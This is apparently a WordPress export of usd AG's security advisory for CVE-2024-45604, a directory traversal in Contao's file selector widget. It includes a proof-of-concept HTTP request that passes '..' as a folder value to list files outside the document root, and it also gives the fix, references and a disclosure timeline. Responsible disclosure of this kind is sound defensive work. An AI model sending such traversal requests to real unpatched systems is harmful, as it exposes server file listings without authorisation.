{"id":23423,"date":"2024-10-30T10:40:06","date_gmt":"2024-10-30T09:40:06","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23423"},"modified":"2024-11-08T15:57:19","modified_gmt":"2024-11-08T14:57:19","slug":"usd-2024-0012","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2024-0012\/","title":{"rendered":"usd-2024-0012"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.2\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2024-0012 | Directory Traversal in Contao 4.12.7<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2024-0012<br \/><strong>Product<\/strong>: Contao<br \/><strong>Affected Version<\/strong>: &lt; 4.13.49<br \/><strong>Vulnerability Type<\/strong>: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)<br \/><strong>Security Risk<\/strong>: Medium CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:N\/A:N<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/contao.org\/<\/a><br \/><strong>Vendor Acknowledged Vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE Number<\/strong>: CVE-2024-45604<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45604\" target=\"_blank\" rel=\"noopener\">CVE-2024-45604<\/a><\/p>\n<h3>Affected Component(s)<\/h3>\n<p>Contao File Selector Widget<\/p>\n<h3>Desciption<\/h3>\n<p>Authenticated users in the backend can list files outside the document root in the file manager. However, it is not possible to read the contents of these files.<\/p>\n<h3>Proof of Concept<\/h3>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/contao?do=files<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">2<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XMLHttpRequest<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Request<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">JSON<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=utf-8<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">76<\/span><\/pre>\n<p>&nbsp;<\/p>\n<p><span class=\"nt\" style=\"background: #263238;color: #ff5370\">action<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">loadFiletree<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">id<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">filetree_d1973b85<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">level<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">folder<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">..<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">state<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">name<\/span><\/p>\n<\/div>\n<h3><\/h3>\n<h3>Fix<\/h3>\n<p>Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.<\/p>\n<p>Users of Contao can upgrade to a patched version.<\/p>\n<h3>References<\/h3>\n<p><a>https:\/\/cwe.mitre.org\/data\/definitions\/22.html<\/a><br \/><a href=\"https:\/\/github.com\/advisories\/GHSA-4p75-5p53-65m9\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/advisories\/GHSA-4p75-5p53-65m9<\/a><\/p>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2024-08-15:<\/strong> Vulnerability identified by Jakob Steeg.<\/li>\n<li><strong>2024-09-02:<\/strong> Sent first contact request.<\/li>\n<li><strong>2024-09-05:<\/strong> Contao reports that a fix is being worked on.<\/li>\n<li><strong>2024-09-07:<\/strong> Contao published a fix in version 4.13.49.<\/li>\n<li><strong>2024-10-30:<\/strong> This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Jakob Steeg of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2024-0012 | Directory Traversal in Contao 4.12.7 Advisory ID: usd-2024-0012Product: ContaoAffected Version: &lt; 4.13.49Vulnerability Type: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)Security Risk: Medium CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:L\/I:N\/A:NVendor URL: https:\/\/contao.org\/Vendor Acknowledged Vulnerability: YesVendor Status: FixedCVE Number: CVE-2024-45604CVE Link: CVE-2024-45604 Affected Component(s) Contao File Selector Widget Desciption Authenticated users in the backend can list [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23423","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23423","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23423"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23423\/revisions"}],"predecessor-version":[{"id":23614,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23423\/revisions\/23614"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23423"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}